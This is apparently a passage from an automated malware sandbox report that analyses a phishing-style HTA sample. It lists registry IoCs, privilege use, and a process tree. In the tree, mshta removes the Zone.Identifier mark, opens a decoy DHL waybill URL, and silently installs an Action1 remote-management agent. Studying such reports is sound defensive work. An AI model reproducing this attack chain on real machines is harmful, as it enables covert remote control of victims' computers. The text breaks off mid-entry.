Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Modifies registry class 29 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-747854149-4118156852-591593384-1000\{3049B9E6-A978-4FD5-B301-A8070E773B2F}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "action1.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
4212	PING.EXE
776	PING.EXE
3364	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5340	msiexec.exe
5340	msiexec.exe
1320	powershell.exe
1320	powershell.exe
1320	powershell.exe
6028	powershell.exe
6028	powershell.exe
6028	powershell.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
4816	powershell.exe
4816	powershell.exe
4816	powershell.exe
4472	action1_agent.exe
4472	action1_agent.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
2696	powershell.exe
2696	powershell.exe
2696	powershell.exe
1584	powershell.exe
1584	powershell.exe
1584	powershell.exe
1584	powershell.exe
1584	powershell.exe
1584	powershell.exe
4432	powershell.exe
4432	powershell.exe
4432	powershell.exe
4336	powershell.exe
4336	powershell.exe
4336	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
2580	msedge.exe
2580	msedge.exe
5584	powershell.exe
5584	powershell.exe
5584	powershell.exe
2292	powershell.exe
2292	powershell.exe
2292	powershell.exe
5580	powershell.exe
5580	powershell.exe
5580	powershell.exe
3416	powershell.exe
3416	powershell.exe
3416	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe
4892	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4080	msedge.exe
4080	msedge.exe
4080	msedge.exe
4080	msedge.exe
4080	msedge.exe
4080	msedge.exe
4080	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5308	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5308	msiexec.exe
Token: SeSecurityPrivilege	5340	msiexec.exe
Token: SeCreateTokenPrivilege	5308	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5308	msiexec.exe
Token: SeLockMemoryPrivilege	5308	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5308	msiexec.exe
Token: SeMachineAccountPrivilege	5308	msiexec.exe
Token: SeTcbPrivilege	5308	msiexec.exe
Token: SeSecurityPrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeLoadDriverPrivilege	5308	msiexec.exe
Token: SeSystemProfilePrivilege	5308	msiexec.exe
Token: SeSystemtimePrivilege	5308	msiexec.exe
Token: SeProfSingleProcessPrivilege	5308	msiexec.exe
Token: SeIncBasePriorityPrivilege	5308	msiexec.exe
Token: SeCreatePagefilePrivilege	5308	msiexec.exe
Token: SeCreatePermanentPrivilege	5308	msiexec.exe
Token: SeBackupPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeShutdownPrivilege	5308	msiexec.exe
Token: SeDebugPrivilege	5308	msiexec.exe
Token: SeAuditPrivilege	5308	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5308	msiexec.exe
Token: SeChangeNotifyPrivilege	5308	msiexec.exe
Token: SeRemoteShutdownPrivilege	5308	msiexec.exe
Token: SeUndockPrivilege	5308	msiexec.exe
Token: SeSyncAgentPrivilege	5308	msiexec.exe
Token: SeEnableDelegationPrivilege	5308	msiexec.exe
Token: SeManageVolumePrivilege	5308	msiexec.exe
Token: SeImpersonatePrivilege	5308	msiexec.exe
Token: SeCreateGlobalPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeShutdownPrivilege	5668	MsiExec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeDebugPrivilege	1320	powershell.exe
Token: SeBackupPrivilege	4472	action1_agent.exe
Token: SeSecurityPrivilege	4472	action1_agent.exe
Token: SeBackupPrivilege	4472	action1_agent.exe
Token: SeSecurityPrivilege	4472	action1_agent.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe
Token: SeRestorePrivilege	5340	msiexec.exe
Token: SeTakeOwnershipPrivilege	5340	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4080	msedge.exe
4080	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 2384	752	mshta.exe	88
PID 2384 wrote to memory of 2764	2384	cmd.exe	90
PID 2764 wrote to memory of 688	2764	net.exe	91
PID 752 wrote to memory of 4164	752	mshta.exe	92
PID 752 wrote to memory of 3108	752	mshta.exe	94
PID 3108 wrote to memory of 4212	3108	cmd.exe	97
PID 752 wrote to memory of 3252	752	mshta.exe	102
PID 752 wrote to memory of 2216	752	mshta.exe	104
PID 3252 wrote to memory of 4080	3252	msedge.exe	106
PID 2216 wrote to memory of 776	2216	cmd.exe	107
PID 4080 wrote to memory of 4536	4080	msedge.exe	108
PID 4080 wrote to memory of 1300	4080	msedge.exe	109
PID 4080 wrote to memory of 1840	4080	msedge.exe	110
PID 4080 wrote to memory of 1840	4080	msedge.exe	110
PID 4080 wrote to memory of 1840	4080	msedge.exe	110
PID 4080 wrote to memory of 4416	4080	msedge.exe	111
PID 4080 wrote to memory of 4416	4080	msedge.exe	111
PID 4080 wrote to memory of 2124	4080	msedge.exe	113
PID 4080 wrote to memory of 2124	4080	msedge.exe	113
PID 4080 wrote to memory of 5072	4080	msedge.exe	114
PID 4080 wrote to memory of 2124	4080	msedge.exe	113
PID 4080 wrote to memory of 5072	4080	msedge.exe	114
PID 4080 wrote to memory of 5072	4080	msedge.exe	114
PID 4080 wrote to memory of 3468	4080	msedge.exe	115
PID 4080 wrote to memory of 3064	4080	msedge.exe	116
PID 4080 wrote to memory of 3468	4080	msedge.exe	115
PID 4080 wrote to memory of 3468	4080	msedge.exe	115
PID 4080 wrote to memory of 3064	4080	msedge.exe	116
PID 4080 wrote to memory of 3064	4080	msedge.exe	116
PID 4080 wrote to memory of 4444	4080	msedge.exe	117
PID 4080 wrote to memory of 4444	4080	msedge.exe	117
PID 4080 wrote to memory of 2228	4080	msedge.exe	133
PID 4080 wrote to memory of 2228	4080	msedge.exe	133
PID 752 wrote to memory of 4612	752	mshta.exe	122
PID 4080 wrote to memory of 2932	4080	msedge.exe	124
PID 4080 wrote to memory of 2916	4080	msedge.exe	125
PID 4080 wrote to memory of 2932	4080	msedge.exe	124
PID 4080 wrote to memory of 2916	4080	msedge.exe	125
PID 4080 wrote to memory of 2532	4080	msedge.exe	127
PID 4080 wrote to memory of 3952	4080	msedge.exe	128
PID 4080 wrote to memory of 3952	4080	msedge.exe	128
PID 4080 wrote to memory of 1552	4080	msedge.exe	129
PID 4080 wrote to memory of 1552	4080	msedge.exe	129
PID 4080 wrote to memory of 3364	4080	msedge.exe	130
PID 4080 wrote to memory of 3364	4080	msedge.exe	130
PID 4080 wrote to memory of 1492	4080	msedge.exe	131
PID 4080 wrote to memory of 1492	4080	msedge.exe	131
PID 4080 wrote to memory of 2228	4080	msedge.exe	133
PID 4080 wrote to memory of 2228	4080	msedge.exe	133
PID 4080 wrote to memory of 5948	4080	msedge.exe	135
PID 4080 wrote to memory of 5948	4080	msedge.exe	135
PID 4080 wrote to memory of 5948	4080	msedge.exe	135
PID 4080 wrote to memory of 6048	4080	msedge.exe	136
PID 4080 wrote to memory of 6048	4080	msedge.exe	136
PID 4080 wrote to memory of 6048	4080	msedge.exe	136
PID 752 wrote to memory of 6136	752	mshta.exe	137
PID 752 wrote to memory of 5196	752	mshta.exe	139
PID 5196 wrote to memory of 3364	5196	cmd.exe	141
PID 752 wrote to memory of 5308	752	mshta.exe	142
PID 5340 wrote to memory of 5520	5340	msiexec.exe	144
PID 5340 wrote to memory of 5668	5340	msiexec.exe	145
PID 4472 wrote to memory of 1320	4472	action1_agent.exe	148
PID 4472 wrote to memory of 6028	4472	action1_agent.exe	151
PID 4080 wrote to memory of 5620	4080	msedge.exe	157

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\dhI-awb6937974.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\net.exe
    net session
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      System Location Discovery: System Language Discovery
      PID:688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\dhI-awb6937974.hta:Zone.Identifier"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 4 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 4 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4212
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://stub-mu.vercel.app/1784637783719-1zjtyv-dhl-waybill.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://stub-mu.vercel.app/1784637783719-1zjtyv-dhl-waybill.pdf
    3⤵
    - Drops file in Program Files directory
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x25c,0x7ffab0e1c188,0x7ffab0e1c194,0x7ffab0e1c1a0
      4⤵
      PID:4536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1932,i,11205850124995514982,8986036073045301651,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=2508 /prefetch:3
      4⤵
      System Time Discovery
      PID:1300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1660,i,9197221195956551675,18224223663521064179,262144 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:2
      4⤵
      PID:1840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2320,i,3065478096885033884,8531281857625316097,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=2540 /prefetch:8
      4⤵
      PID:4416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3484,i,4122651136246625861,1229018237937663738,2097152 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=3532 /prefetch:1
      4⤵
      PID:2124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,5103615350833982322,7356621440143051009,2097152 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
      4⤵
      PID:5072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4236,i,8118768219317515242,8859623904541330917,2097152 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:1
      4⤵
      PID:3468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4252,i,11478676046579232743,16326907096886190828,2097152 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:2
      4⤵
      PID:3064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4940,i,18378107859215578832,1692654251623960672,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:8
      4⤵
      PID:4444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5300,i,7935102854033427734,14465570986946436708,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:8
      4⤵
      PID:2228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5316,i,11661565715798096388,9998432063999041451,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:8
      4⤵
      PID:2932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3572,i,18156830658234014545,8060367761327033594,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:8
      4⤵
      PID:2916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5872,i,16884164416496666705,3731797479331469515,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:8
      4⤵
      PID:2440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5872,i,16884164416496666705,3731797479331469515,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5884 /prefetch:8
      4⤵
      PID:2532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6084,i,107811542072317156,3865446177637835710,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:8
      4⤵
      PID:3952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6244,i,16167172634535792812,15071483466647014087,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6236 /prefetch:8
      4⤵
      PID:1552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,179290943360473091,2943847411347909396,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:8
      4⤵
      PID:3364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6192,i,2503153858099610133,8076034048353070835,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6176 /prefetch:8
      4⤵
      PID:1492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6544,i,3655688890497932952,9891094239699753662,524288 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:8
      4⤵
      PID:2228
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=6596,i,4753320608796799023,17519881630088626553,2097152 --field-trial-handle=2348,i,7427451072817362195,5036317439240667930,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:2
      4⤵
      PID:5948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
